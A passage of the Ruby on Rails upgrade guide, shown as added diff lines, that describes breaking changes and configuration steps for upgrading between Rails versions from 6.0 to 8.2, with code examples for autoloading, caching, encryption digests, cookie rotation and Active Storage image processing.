+The new Rails version might have different configuration defaults than the previous version. However, after following the steps described above, your application would still run with configuration defaults from the *previous* Rails version. That's because the value for `config.load_defaults` in `config/application.rb` has not been changed yet.
+
+To allow you to upgrade to new defaults one by one, the update task has created a file `config/initializers/new_framework_defaults_X_Y.rb` (with the desired Rails version in the filename). You should enable the new configuration defaults by uncommenting them in the file; this can be done gradually over several deployments. Once your application is ready to run with new defaults, you can remove this file and flip the `config.load_defaults` value.
+
+Upgrading from Rails 8.1 to Rails 8.2
+-------------------------------------
+
+For more information on changes made to Rails 8.2 please see the [release notes](8_2_release_notes.html).
+
+### The negative scopes for enums now include records with `nil` values.
+
+Active Record negative scopes for enums now include records with `nil` values.
+
+```ruby
+class Book < ApplicationRecord
+  enum :status, [:proposed, :written, :published]
+end
+
+book1 = Book.create!(status: :published)
+book2 = Book.create!(status: :written)
+book3 = Book.create!(status: nil)
+
+# Before
+
+Book.not_published # => [book2]
+
+# After
+
+Book.not_published # => [book2, book3]
+```
+
+Upgrading from Rails 8.0 to Rails 8.1
+-------------------------------------
+
+For more information on changes made to Rails 8.1 please see the [release notes](8_1_release_notes.html).
+
+### The table columns inside `schema.rb` are now sorted alphabetically.
+
+Active Record now alphabetically sorts table columns in `schema.rb` by default, so dumps are consistent across machines and don’t flip-flop with migration order -- meaning fewer noisy diffs. `structure.sql` can still be leveraged to preserve exact column order. [See #53281 for more details on alphabetizing schema changes.](https://github.com/rails/rails/pull/53281)
+
+Upgrading from Rails 7.2 to Rails 8.0
+-------------------------------------
+
+For more information on changes made to Rails 8.0 please see the [release notes](8_0_release_notes.html).
+
+Upgrading from Rails 7.1 to Rails 7.2
+-------------------------------------
+
+For more information on changes made to Rails 7.2 please see the [release notes](7_2_release_notes.html).
+
+### All tests now respect the `active_job.queue_adapter` config
+
+If you have set `config.active_job.queue_adapter` in your `config/application.rb` or `config/environments/test.rb` file,
+the adapter you selected was previously not used consistently across all tests. In some tests your adapter would be
+used, but other tests would use the `TestAdapter`.
+
+In Rails 7.2, all tests will respect the `queue_adapter` config if provided. This may cause test errors, if you had
+set the `queue_adapter` config to something other than `:test`, but written tests in a way that was dependent on the `TestAdapter`.
+
+If no config is provided, the `TestAdapter` will continue to be used.
+
+### `alias_attribute` now bypasses custom methods on the original attribute
+
+In Rails 7.2, `alias_attribute` now bypasses custom methods defined on the original attribute and directly accesses the underlying database value. This change was announced via deprecation warnings in Rails 7.1.
+
+**Before (Rails 7.1):**
+
+```ruby
+class User < ActiveRecord::Base
+  def email
+    "custom_#{super}"
+  end
+
+  alias_attribute :username, :email
+end
+
+user = User.create!(email: "test@example.com")
+user.username
+# => "custom_test@example.com"
+```
+
+**After (Rails 7.2):**
+
+```ruby
+user = User.create!(email: "test@example.com")
+user.username
+# => "test@example.com"  # Raw database value
+```
+
+If you received the deprecation warning "Since Rails 7.2 `#{method_name}` will not be calling `#{target_name}` anymore", you should manually define the alias method:
+
+```ruby
+class User < ActiveRecord::Base
+  def email
+    "custom_#{super}"
+  end
+
+  def username
+    email  # This will call the custom email method
+  end
+end
+```
+
+Alternatively, you can use `alias_method`:
+
+```ruby
+class User < ActiveRecord::Base
+  def email
+    "custom_#{super}"
+  end
+
+  alias_method :username, :email
+end
+```
+
+Upgrading from Rails 7.0 to Rails 7.1
+-------------------------------------
+
+For more information on changes made to Rails 7.1 please see the [release notes](7_1_release_notes.html).
+
+### Development and test environments secret_key_base file changed
+
+In development and test environments, the file from which Rails reads the `secret_key_base` has been renamed from `tmp/development_secret.txt` to `tmp/local_secret.txt`.
+
+You can simply rename the previous file to `local_secret.txt` to continue using the same secret, or copy the key from the previous file to the new one.
+
+Failure to do so will cause Rails to generate a new secret key in the new file `tmp/local_secret.txt` when the app loads.
+
+This will invalidate all existing sessions/cookies in development and test environments, and also cause other signatures derived from `secret_key_base` to break, such as Active Storage/Action Text attachments.
+
+Production and other environments are not affected.
+
+### New ActiveSupport::Cache serialization format
+
+A new 7.1 cache format is available which includes an optimization for bare string values such as view fragments.
+
+The 7.1 cache format is used by default for new apps, and existing apps can enable the format by setting `config.load_defaults 7.1` or by setting `config.active_support.cache_format_version = 7.1` in `config/application.rb` or a `config/environments/*.rb` file.
+
+Cache entries written using the 6.1 or 7.0 cache formats can be read when using the 7.1 format. To perform a rolling deploy of a Rails 7.1 upgrade, wherein servers that have not yet been upgraded must be able to read caches from upgraded servers, leave the cache format unchanged on the first deploy, then enable the 7.1 cache format on a subsequent deploy.
+
+### Autoloaded paths are no longer in $LOAD_PATH
+
+Starting from Rails 7.1, the directories managed by the autoloaders are no
+longer added to `$LOAD_PATH`. This means it won't be possible to load their
+files with a manual `require` call, which shouldn't be done anyway.
+
+Reducing the size of `$LOAD_PATH` speeds up `require` calls for apps not using
+`bootsnap`, and reduces the size of the `bootsnap` cache for the others.
+
+If you'd like to have these paths still in `$LOAD_PATH`, you can opt-in:
+
+```ruby
+config.add_autoload_paths_to_load_path = true
+```
+
+but we discourage doing so, classes and modules in the autoload paths are meant
+to be autoloaded. That is, just reference them.
+
+The `lib` directory is not affected by this flag, it is added to `$LOAD_PATH`
+always.
+
+### config.autoload_lib and config.autoload_lib_once
+
+If your application does not have `lib` in the autoload or autoload once paths,
+please skip this section. You can find that out by inspecting the output of
+
+```bash
+# Print autoload paths.
+$ bin/rails runner 'pp Rails.autoloaders.main.dirs'
+
+# Print autoload once paths.
+$ bin/rails runner 'pp Rails.autoloaders.once.dirs'
+```
+
+If your application already has `lib` in the autoload paths, normally there is
+configuration in `config/application.rb` that looks something like
+
+```ruby
+# Autoload lib, but do not eager load it (maybe overlooked).
+config.autoload_paths << config.root.join("lib")
+```
+
+or
+
+```ruby
+# Autoload and also eager load lib.
+config.autoload_paths << config.root.join("lib")
+config.eager_load_paths << config.root.join("lib")
+```
+
+or
+
+```ruby
+# Same, because all eager load paths become autoload paths too.
+config.eager_load_paths << config.root.join("lib")
+```
+
+That still works, but it is recommended to replace those lines with the more
+concise
+
+```ruby
+config.autoload_lib(ignore: %w(assets tasks))
+```
+
+Please, add to the `ignore` list any other `lib` subdirectories that do not
+contain `.rb` files, or that should not be reloaded or eager loaded. For
+example, if your application has `lib/templates`, `lib/generators`, or
+`lib/middleware`, you'd add their name relative to `lib`:
+
+```ruby
+config.autoload_lib(ignore: %w(assets tasks templates generators middleware))
+```
+
+With that one-liner, the (non-ignored) code in `lib` will be also eager loaded
+if `config.eager_load` is `true` (the default in `production` mode). This is
+normally what you want, but if `lib` was not added to the eager load paths
+before and you still want it that way, please opt-out:
+
+```ruby
+Rails.autoloaders.main.do_not_eager_load(config.root.join("lib"))
+```
+
+The method `config.autoload_lib_once` is the analogous one if the application
+had `lib` in `config.autoload_once_paths`.
+
+### `ActiveStorage::BaseController` no longer includes the streaming concern
+
+Application controllers that inherit from `ActiveStorage::BaseController` and use streaming to implement custom file serving logic must now explicitly include the `ActiveStorage::Streaming` module.
+
+### `MemCacheStore` and `RedisCacheStore` now use connection pooling by default
+
+The `connection_pool` gem has been added as a dependency of the `activesupport` gem,
+and the `MemCacheStore` and `RedisCacheStore` now use connection pooling by default.
+
+If you don't want to use connection pooling, set `:pool` option to `false` when
+configuring your cache store:
+
+```ruby
+config.cache_store = :mem_cache_store, "cache.example.com", { pool: false }
+```
+
+See the [caching with Rails](https://guides.rubyonrails.org/v7.1/caching_with_rails.html#connection-pool-options) guide for more information.
+
+### `SQLite3Adapter` now configured to be used in a strict strings mode
+
+The use of a strict strings mode disables double-quoted string literals.
+
+SQLite has some quirks around double-quoted string literals.
+It first tries to consider double-quoted strings as identifier names, but if they don't exist
+it then considers them as string literals. Because of this, typos can silently go unnoticed.
+For example, it is possible to create an index for a non existing column.
+See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.
+
+If you don't want to use `SQLite3Adapter` in a strict mode, you can disable this behavior:
+
+```ruby
+# config/application.rb
+config.active_record.sqlite3_adapter_strict_strings_by_default = false
+```
+
+### Support multiple preview paths for `ActionMailer::Preview`
+
+Option `config.action_mailer.preview_path` is deprecated in favor of `config.action_mailer.preview_paths`. Appending paths to this configuration option will cause those paths to be used in the search for mailer previews.
+
+```ruby
+config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
+```
+
+### `config.i18n.raise_on_missing_translations = true` now raises on any missing translation.
+
+Previously it would only raise when called in a view or controller. Now it will raise anytime `I18n.t` is provided an unrecognized key.
+
+```ruby
+# with config.i18n.raise_on_missing_translations = true
+
+# in a view or controller:
+t("missing.key") # raises in 7.0, raises in 7.1
+I18n.t("missing.key") # didn't raise in 7.0, raises in 7.1
+
+# anywhere:
+I18n.t("missing.key") # didn't raise in 7.0, raises in 7.1
+```
+
+If you don't want this behavior, you can set `config.i18n.raise_on_missing_translations = false`:
+
+```ruby
+# with config.i18n.raise_on_missing_translations = false
+
+# in a view or controller:
+t("missing.key") # didn't raise in 7.0, doesn't raise in 7.1
+I18n.t("missing.key") # didn't raise in 7.0, doesn't raise in 7.1
+
+# anywhere:
+I18n.t("missing.key") # didn't raise in 7.0, doesn't raise in 7.1
+```
+
+Alternatively, you can customize the `I18n.exception_handler`.
+See the [i18n guide](https://guides.rubyonrails.org/v7.1/i18n.html#using-different-exception-handlers) for more information.
+
+`AbstractController::Translation.raise_on_missing_translations` has been removed. This was a private API, if you were
+relying on it you should migrate to `config.i18n.raise_on_missing_translations` or to a custom exception handler.
+
+### `bin/rails test` now runs `test:prepare` task
+
+When running tests via `bin/rails test`, the `rake test:prepare` task will run before tests run. If you've enhanced
+the `test:prepare` task, your enhancements will run before your tests. `tailwindcss-rails`, `jsbundling-rails`, and `cssbundling-rails`
+enhance this task, as do other third party gems.
+
+See the [Testing Rails Applications](https://guides.rubyonrails.org/testing.html#running-tests-in-continuous-integration-ci) guide for more information.
+
+If you run a single file's tests (`bin/rails test test/models/user_test.rb`), `test:prepare` will not run before it.
+
+### Import syntax from `@rails/ujs` is modified
+
+Starting from Rails 7.1, the syntax for importing modules from `@rails/ujs` is modified. Rails no longer supports the
+direct import of a module from `@rails/ujs`.
+
+For example, attempting to import a function from the library will fail:
+
+```javascript
+import { fileInputSelector } from "@rails/ujs"
+// ERROR: export 'fileInputSelector' (imported as 'fileInputSelector') was not found in '@rails/ujs' (possible exports: default)
+```
+
+In Rails 7.1, users should first import the Rails object directly from `@rails/ujs`.
+Users can then import specific modules from the Rails object.
+
+An example of imports in Rails 7.1 is shown below:
+
+```javascript
+import Rails from "@rails/ujs"
+// Alias the method
+const fileInputSelector = Rails.fileInputSelector
+// Alternatively, reference it from the Rails object where it is used
+Rails.fileInputSelector(...)
+```
+
+### `Rails.logger` now returns an `ActiveSupport::BroadcastLogger` instance
+
+The `ActiveSupport::BroadcastLogger` class is a new logger that allows to broadcast logs to different sinks (STDOUT, a log file...) in an easy way.
+
+The API to broadcast logs (using the `ActiveSupport::Logger.broadcast` method) was removed and was previously private.
+If your application or library was relying on this API, you need to make the following changes:
+
+```ruby
+logger = Logger.new("some_file.log")
+
+# Before
+
+Rails.logger.extend(ActiveSupport::Logger.broadcast(logger))
+
+# After
+
+Rails.logger.broadcast_to(logger)
+```
+
+If your application had configured a custom logger, `Rails.logger` will wrap and proxy all methods to it. No changes on your side are required to make it work.
+
+If you need to access your custom logger instance, you can do so using the `broadcasts` method:
+
+```ruby
+# config/application.rb
+config.logger = MyLogger.new
+
+# Anywhere in your application
+puts Rails.logger.class #=> BroadcastLogger
+puts Rails.logger.broadcasts #=> [MyLogger]
+```
+
+[assert_match]: https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_match
+
+
+### Active Record Encryption algorithm changes
+
+Active Record Encryption now uses SHA-256 as its hash digest algorithm. If you have data encrypted with previous Rails
+versions, there are two scenarios to consider:
+
+1. If you have `config.active_support.key_generator_hash_digest_class` configured as SHA-1 (the default
+   before Rails 7.0), you need to configure SHA-1 for Active Record Encryption too:
+
+    ```ruby
+    config.active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA1
+    ```
+
+    If all of your data was encrypted non-deterministicly (the default unless `encrypts` is passed `deterministic: true`, you can instead configure SHA-256 for Active Record Encryption as in scenario 2 below and also allow columns previously encrypted with SHA-1 to be decrypted by setting:
+
+    ```ruby
+    config.active_record.encryption.support_sha1_for_non_deterministic_encryption = true
+    ```
+
+2. If you have `config.active_support.key_generator_hash_digest_class` configured as SHA-256 (the new default
+   in 7.0), then you need to configure SHA-256 for Active Record Encryption:
+
+    ```ruby
+    config.active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA256
+    ```
+
+See the [Configuring Rails Applications](configuring.html#config-active-record-encryption-hash-digest-class)
+guide for more information on `config.active_record.encryption.hash_digest_class`.
+
+In addition, a new configuration [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](configuring.html#config-active-record-encryption-support-sha1-for-non-deterministic-encryption)
+was introduced to resolve [a bug](https://github.com/rails/rails/issues/42922) that caused some attributes to be
+encrypted using SHA-1 even when SHA-256 was configured via the aforementioned `hash_digest_class` configuration.
+
+By default, `config.active_record.encryption.support_sha1_for_non_deterministic_encryption` is disabled in
+Rails 7.1. If you have data encrypted in a version of Rails < 7.1 that you believe may be affected
+by the aforementioned bug, this configuration should be enabled:
+
+```ruby
+config.active_record.encryption.support_sha1_for_non_deterministic_encryption = true
+```
+
+**If you are working with encrypted data, please carefully review the above.**
+
+### New ways to handle exceptions in Controller Tests, Integration Tests, and System Tests
+
+The `config.action_dispatch.show_exceptions` configuration controls how Action Pack handles exceptions raised while responding to requests.
+
+Prior to Rails 7.1, setting `config.action_dispatch.show_exceptions = true` configured Action Pack to rescue exceptions and render appropriate HTML error pages, like rendering `public/404.html` with a `404 Not found` status code instead of raising an `ActiveRecord::RecordNotFound` exception. Setting `config.action_dispatch.show_exceptions = false` configured Action Pack to not rescue the exception. Prior to Rails 7.1, new applications were generated with a line in `config/environments/test.rb` that set `config.action_dispatch.show_exceptions = false`.
+
+Rails 7.1 changes the acceptable values from `true` and `false` to `:all`, `:rescuable`, and `:none`.
+
+* `:all` - render HTML error pages for all exceptions (equivalent to `true`)
+* `:rescuable` - render HTML error pages for exceptions declared by [`config.action_dispatch.rescue_responses`](/configuring.html#config-action-dispatch-rescue-responses)
+* `:none` (equivalent to `false`) - do not rescue from any exceptions
+
+Applications generated by Rails 7.1 or later set `config.action_dispatch.show_exceptions = :rescuable` in their `config/environments/test.rb`. When upgrading, existing applications can change `config.action_dispatch.show_exceptions = :rescuable` to utilize the new behavior, or replace the old values with the corresponding new ones (`:all` replaces `true`, `:none` replaces `false`).
+
+Upgrading from Rails 6.1 to Rails 7.0
+-------------------------------------
+
+For more information on changes made to Rails 7.0 please see the [release notes](7_0_release_notes.html).
+
+### `ActionView::Helpers::UrlHelper#button_to` changed behavior
+
+Starting from Rails 7.0 `button_to` renders a `form` tag with `patch` HTTP verb if a persisted Active Record object is used to build button URL.
+To keep current behavior consider explicitly passing `method:` option:
+
+```diff
+-button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)])
++button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)], method: :post)
+```
+
+or using helper to build the URL:
+
+```diff
+-button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)])
++button_to("Do a POST", my_custom_post_action_on_workshop_workshop_path(Workshop.find(1)))
+```
+
+### Spring
+
+If your application uses Spring, it needs to be upgraded to at least version 3.0.0. Otherwise you'll get
+
+```
+undefined method `mechanism=' for ActiveSupport::Dependencies:Module
+```
+
+Also, make sure [`config.cache_classes`][] is set to `false` in `config/environments/test.rb`.
+
+[`config.cache_classes`]: configuring.html#config-cache-classes
+
+### Sprockets is now an optional dependency
+
+The gem `rails` doesn't depend on `sprockets-rails` anymore. If your application still needs to use Sprockets,
+make sure to add `sprockets-rails` to your Gemfile.
+
+```ruby
+gem "sprockets-rails"
+```
+
+### Applications need to run in `zeitwerk` mode
+
+Applications still running in `classic` mode have to switch to `zeitwerk` mode. Please check the [Classic to Zeitwerk HOWTO](https://guides.rubyonrails.org/v7.0/classic_to_zeitwerk_howto.html) guide for details.
+
+### The setter `config.autoloader=` has been deleted
+
+In Rails 7 there is no configuration point to set the autoloading mode, `config.autoloader=` has been deleted. If you had it set to `:zeitwerk` for whatever reason, just remove it.
+
+### `ActiveSupport::Dependencies` private API has been deleted
+
+The private API of `ActiveSupport::Dependencies` has been deleted. That includes methods like `hook!`, `unhook!`, `depend_on`, `require_or_load`, `mechanism`, and many others.
+
+A few of highlights:
+
+* If you used `ActiveSupport::Dependencies.constantize` or `ActiveSupport::Dependencies.safe_constantize`, just change them to `String#constantize` or `String#safe_constantize`.
+
+  ```ruby
+  ActiveSupport::Dependencies.constantize("User") # NO LONGER POSSIBLE
+  "User".constantize # �
+  ```
+
+* Any usage of `ActiveSupport::Dependencies.mechanism`, reader or writer, has to be replaced by accessing `config.cache_classes` accordingly.
+
+* If you want to trace the activity of the autoloader, `ActiveSupport::Dependencies.verbose=` is no longer available, just throw `Rails.autoloaders.log!` in `config/application.rb`.
+
+Auxiliary internal classes or modules are also gone, like `ActiveSupport::Dependencies::Reference`, `ActiveSupport::Dependencies::Blamable`, and others.
+
+### Autoloading during initialization
+
+Applications that autoloaded reloadable constants during initialization outside of `to_prepare` blocks got those constants unloaded and had this warning issued since Rails 6.0:
+
+```
+DEPRECATION WARNING: Initialization autoloaded the constant ....
+
+Being able to do this is deprecated. Autoloading during initialization is going
+to be an error condition in future versions of Rails.
+
+...
+```
+
+If you still get this warning in the logs, please check the section about autoloading when the application boots in the [autoloading guide](https://guides.rubyonrails.org/v7.0/autoloading_and_reloading_constants.html#autoloading-when-the-application-boots). You'd get a `NameError` in Rails 7 otherwise.
+
+Constants managed by the `once` autoloader can be autoloaded during initialization, and they can be used normally, no need for a `to_prepare` block. However, the `once` autoloader is now set up earlier to support that. If the application has custom inflections, and the `once` autoloader should be aware of them, you need to move the code in `config/initializers/inflections.rb` to the body of the application class definition in `config/application.rb`:
+
+```ruby
+module MyApp
+  class Application < Rails::Application
+    # ...
+
+    ActiveSupport::Inflector.inflections(:en) do |inflect|
+      inflect.acronym "HTML"
+    end
+  end
+end
+```
+
+### Ability to configure `config.autoload_once_paths`
+
+[`config.autoload_once_paths`][] can be set in the body of the application class defined in `config/application.rb` or in the configuration for environments in `config/environments/*`.
+
+Similarly, engines can configure that collection in the class body of the engine class or in the configuration for environments.
+
+After that, the collection is frozen, and you can autoload from those paths. In particular, you can autoload from there during initialization. They are managed by the `Rails.autoloaders.once` autoloader, which does not reload, only autoloads/eager loads.
+
+If you configured this setting after the environments configuration has been processed and are getting `FrozenError`, please just move the code.
+
+[`config.autoload_once_paths`]: configuring.html#config-autoload-once-paths
+
+### `ActionDispatch::Request#content_type` now returns Content-Type header as it is.
+
+Previously, `ActionDispatch::Request#content_type` returned value does NOT contain charset part.
+This behavior changed to returned Content-Type header containing charset part as it is.
+
+If you want just MIME type, please use `ActionDispatch::Request#media_type` instead.
+
+Before:
+
+```ruby
+request = ActionDispatch::Request.new("CONTENT_TYPE" => "text/csv; header=present; charset=utf-16", "REQUEST_METHOD" => "GET")
+request.content_type #=> "text/csv"
+```
+
+After:
+
+```ruby
+request = ActionDispatch::Request.new("Content-Type" => "text/csv; header=present; charset=utf-16", "REQUEST_METHOD" => "GET")
+request.content_type #=> "text/csv; header=present; charset=utf-16"
+request.media_type   #=> "text/csv"
+```
+
+### Key generator digest class change requires a cookie rotator
+
+The default digest class for the key generator is changing from SHA1 to SHA256.
+This has consequences in any encrypted message generated by Rails, including
+encrypted cookies.
+
+In order to be able to read messages using the old digest class it is necessary
+to register a rotator. Failing to do so may result in users having their sessions
+invalidated during the upgrade.
+
+The following is an example for rotator for the encrypted and the signed cookies.
+
+```ruby
+# config/initializers/cookie_rotator.rb
+Rails.application.config.after_initialize do
+  Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
+    authenticated_encrypted_cookie_salt = Rails.application.config.action_dispatch.authenticated_encrypted_cookie_salt
+    signed_cookie_salt = Rails.application.config.action_dispatch.signed_cookie_salt
+
+    secret_key_base = Rails.application.secret_key_base
+
+    key_generator = ActiveSupport::KeyGenerator.new(
+      secret_key_base, iterations: 1000, hash_digest_class: OpenSSL::Digest::SHA1
+    )
+    key_len = ActiveSupport::MessageEncryptor.key_len
+
+    old_encrypted_secret = key_generator.generate_key(authenticated_encrypted_cookie_salt, key_len)
+    old_signed_secret = key_generator.generate_key(signed_cookie_salt)
+
+    cookies.rotate :encrypted, old_encrypted_secret
+    cookies.rotate :signed, old_signed_secret
+  end
+end
+```
+
+### Digest class for ActiveSupport::Digest changing to SHA256
+
+The default digest class for ActiveSupport::Digest is changing from SHA1 to SHA256.
+This has consequences for things like Etags that will change and cache keys as well.
+Changing these keys can have impact on cache hit rates, so be careful and watch out
+for this when upgrading to the new hash.
+
+### New ActiveSupport::Cache serialization format
+
+A faster and more compact serialization format was introduced.
+
+To enable it you must set `config.active_support.cache_format_version = 7.0`:
+
+```ruby
+# config/application.rb
+
+config.load_defaults 6.1
+config.active_support.cache_format_version = 7.0
+```
+
+Or simply:
+
+```ruby
+# config/application.rb
+
+config.load_defaults 7.0
+```
+
+However Rails 6.1 applications are not able to read this new serialization format,
+so to ensure a seamless upgrade you must first deploy your Rails 7.0 upgrade with
+`config.active_support.cache_format_version = 6.1`, and then only once all Rails
+processes have been updated you can set `config.active_support.cache_format_version = 7.0`.
+
+Rails 7.0 is able to read both formats so the cache won't be invalidated during the
+upgrade.
+
+### Active Storage video preview image generation
+
+Video preview image generation now uses FFmpeg's scene change detection to generate
+more meaningful preview images. Previously the first frame of the video would be used
+and that caused problems if the video faded in from black. This change requires
+FFmpeg v3.4+.
+
+### Active Storage default variant processor changed to `:vips`
+
+For new apps, image transformation will use libvips instead of ImageMagick. This will reduce
+the time taken to generate variants as well as CPU and memory usage, improving response
+times in apps that rely on Active Storage to serve their images.
+
+The `:mini_magick` option is not being deprecated, so it is fine to keep using it.
+
+To migrate an existing app to libvips, set:
+
+```ruby
+Rails.application.config.active_storage.variant_processor = :vips
+```
+
+You will then need to change existing image transformation code to the
+`image_processing` macros, and replace ImageMagick's options with libvips' options.
+
+#### Replace resize with resize_to_limit
+
+```diff
+- variant(resize: "100x")
++ variant(resize_to_limit: [100, nil])
+```
+
+If you don't do this, when you switch to vips you will see this error: `no implicit conversion to float from string`.
+
+#### Use an array when cropping
+
+```diff
+- variant(crop: "1920x1080+0+0")
++ variant(crop: [0, 0, 1920, 1080])
+```
+
+If you don't do this when migrating to vips, you will see the following error: `unable to call crop: you supplied 2 arguments, but operation needs 5`.
+
+#### Clamp your crop values:
+
+Vips is more strict than ImageMagick when it comes to cropping:
+
+1. It will not crop if `x` and/or `y` are negative values. e.g.: `[-10, -10, 100, 100]`
+2. It will not crop if position (`x` or `y`) plus crop dimension (`width`, `height`) is larger than the image. e.g.: a 125x125 image and a crop of `[50, 50, 100, 100]`
+
+If you don't do this when migrating to vips, you will see the following error: `extract_area: bad extract area`
+
+#### Adjust the background color used for `resize_and_pad`
+
+Vips uses black as the default background color `resize_and_pad`, instead of white like ImageMagick. Fix that by using the `background` option:
+
+```diff
+- variant(resize_and_pad: [300, 300])
++ variant(resize_and_pad: [300, 300, background: [255]])
+```
+
+#### Remove any EXIF based rotation
+
+Vips will auto rotate images using the EXIF value when processing variants. If you were storing rotation values from user uploaded photos to apply rotation with ImageMagick, you must stop doing that:
+
+```diff
+- variant(format: :jpg, rotate: rotation_value)
++ variant(format: :jpg)
+```
+
+#### Replace monochrome with colourspace
+
+Vips uses a different option to make monochrome images:
+
+```diff
+- variant(monochrome: true)
++ variant(colourspace: "b-w")
+```
+
+#### Switch to libvips options for compressing images
+
+JPEG
+
+```diff
+- variant(strip: true, quality: 80, interlace: "JPEG", sampling_factor: "4:2:0", colorspace: "sRGB")
++ variant(saver: { strip: true, quality: 80, interlace: true })
+```
+
+PNG
+
+```diff
+- variant(strip: true, quality: 75)
++ variant(saver: { strip: true, compression: 9 })
+```
+
+WEBP
+
+```diff
+- variant(strip: true, quality: 75, define: { webp: { lossless: false, alpha_quality: 85, thread_level: 1 } })
++ variant(saver: { strip: true, quality: 75, lossless: false, alpha_q: 85, reduction_effort: 6, smart_subsample: true })
+```
+
+GIF
+
+```diff
+- variant(layers: "Optimize")
++ variant(saver: { optimize_gif_frames: true, optimize_gif_transparency: true })
+```
+
+#### Deploy to production
+
+Active Storage encodes into the url for the image the list of transformations that must be performed.
+If your app is caching these urls, your images will break after you deploy the new code to production.
+Because of this you must manually invalidate your affected cache keys.
+
+For example, if you have something like this in a view:
+
+```erb
+<% @products.each do |product| %>
+  <% cache product do %>
+    <%= image_tag product.cover_photo.variant(resize: "200x") %>
+  <% end %>
+<% end %>
+```
+
+You can invalidate the cache either by touching the product, or changing the cache key:
+
+```erb
+<% @products.each do |product| %>
+  <% cache ["v2", product] do %>
+    <%= image_tag product.cover_photo.variant(resize_to_limit: [200, nil]) %>
+  <% end %>
+<% end %>
+```
+
+### Rails version is now included in the Active Record schema dump
+
+Rails 7.0 changed some default values for some column types. To avoid that application upgrading from 6.1 to 7.0
+load the current schema using the new 7.0 defaults, Rails now includes the version of the framework in the schema dump.
+
+Before loading the schema for the first time in Rails 7.0, make sure to run `bin/rails app:update` to ensure that the
+version of the schema is included in the schema dump.
+
+The schema file will look like this:
+
+```ruby
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# This file is the source Rails uses to define your schema when running `bin/rails
+# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
+# be faster and is potentially less error prone than running all of your
+# migrations from scratch. Old migrations may fail to apply correctly if those
+# migrations use external dependencies or application code.
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema[6.1].define(version: 2022_01_28_123512) do
+  # ...
+end
+```
+
+NOTE: The first time you dump the schema with Rails 7.0, you will see many changes to that file, including
+some column information. Make sure to review the new schema file content and commit it to your repository.
+
+Upgrading from Rails 6.0 to Rails 6.1
+-------------------------------------
+
+For more information on changes made to Rails 6.1 please see the [release notes](6_1_release_notes.html).
+
+### `Rails.application.config_for` return value no longer supports access with String keys.
+
+Given a configuration file like this:
+
+```yaml
+# config/example.yml
+development:
+  options:
+    key: value
+```
+
+```ruby
+Rails.application.config_for(:example).options
+```
+
+This used to return a hash on which you could access values with String keys. That was deprecated in 6.0, and now doesn't work anymore.
+
+You can call `with_indifferent_access` on the return value of `config_for` if you still want to access values with String keys, e.g.:
+
+```ruby
+Rails.application.config_for(:example).with_indifferent_access.dig("options", "key")
+```
+
+### Response's Content-Type when using `respond_to#any`
+
+The Content-Type header returned in the response can differ from what Rails 6.0 returned,
+more specifically if your application uses `respond_to { |format| format.any }`.
+The Content-Type will now be based on the given block rather than the request's format.
+
+Example:
+
+```ruby
+def my_action
+  respond_to do |format|
+    format.any { render(json: { foo: "bar" }) }
+  end
+end
+```
+
+```ruby
+get("my_action.csv")
+```
+
+Previous behavior was returning a `text/csv` response's Content-Type which is inaccurate since a JSON response is being rendered.
+Current behavior correctly returns a `application/json` response's Content-Type.
+
+If your application relies on the previous incorrect behavior, you are encouraged to specify
+which formats your action accepts, i.e.
+
+```ruby
+format.any(:xml, :json) { render request.format.to_sym => @people }
+```
+
+### `ActiveSupport::Callbacks#halted_callback_hook` now receive a second argument
+
+Active Support allows you to override the `halted_callback_hook` whenever a callback
+halts the chain. This method now receives a second argument which is the name of the callback being halted.
+If you have classes that override this method, make sure it accepts two arguments. Note that this is a breaking
+change without a prior deprecation cycle (for performance reasons).
+
+Example:
+
+```ruby
+class Book < ApplicationRecord
+  before_save { throw(:abort) }
+  before_create { throw(:abort) }
+
+  def halted_callback_hook(filter, callback_name) # => This method now accepts 2 arguments instead of 1
+    Rails.logger.info("Book couldn't be #{callback_name}d")
+  end
+end
+```
+
+### The `helper` class method in controllers uses `String#constantize`
+
+Conceptually, before Rails 6.1
+
+```ruby
+helper "foo/bar"
+```
+
+resulted in
+
+```ruby
+require_dependency "foo/bar_helper"
+module_name = "foo/bar_helper".camelize
+module_name.constantize
+```
+
+Now it does this instead:
+
+```ruby
+prefix = "foo/bar".camelize
+"#{prefix}Helper".constantize
+```
+
+This change is backwards compatible for the majority of applications, in which case you do not need to do anything.
+
+Technically, however, controllers could configure `helpers_path` to point to a directory in `$LOAD_PATH` that was not in the autoload paths. That use case is no longer supported out of the box. If the helper module is not autoloadable, the application is responsible for loading it before calling `helper`.
+
+### Redirection to HTTPS from HTTP will now use the 308 HTTP status code
+
+The default HTTP status code used in `ActionDispatch::SSL` when redirecting non-GET/HEAD requests from HTTP to HTTPS has been changed to `308` as defined in https://tools.ietf.org/html/rfc7538.
+
+### Active Storage now requires Image Processing
+
+When processing variants in Active Storage, it's now required to have the [image_processing gem](https://github.com/janko/image_processing) bundled instead of directly using `mini_magick`. Image Processing is configured by default to use `mini_magick` behind the scenes, so the easiest way to upgrade is by replacing the `mini_magick` gem for the `image_processing` gem and making sure to remove the explicit usage of `combine_options` since it's no longer needed.
+
+For readability, you may wish to change raw `resize` calls to `image_processing` macros. For example, instead of:
+
+```ruby
+video.preview(resize: "100x100")
+video.preview(resize: "100x100>")
+video.preview(resize: "100x100^")
+```
+
+you can respectively do:
+
+```ruby
+video.preview(resize_to_fit: [100, 100])
+video.preview(resize_to_limit: [100, 100])
+video.preview(resize_to_fill: [100, 100])
+```
+
+### New `ActiveModel::Error` class
+
+Errors are now instances of a new `ActiveModel::Error` class, with changes to
+the API. Some of these changes may throw errors depending on how you manipulate
+errors, while others will print deprecation warnings to be fixed for Rails 7.0.
+
+More information about this change and details about the API changes can be
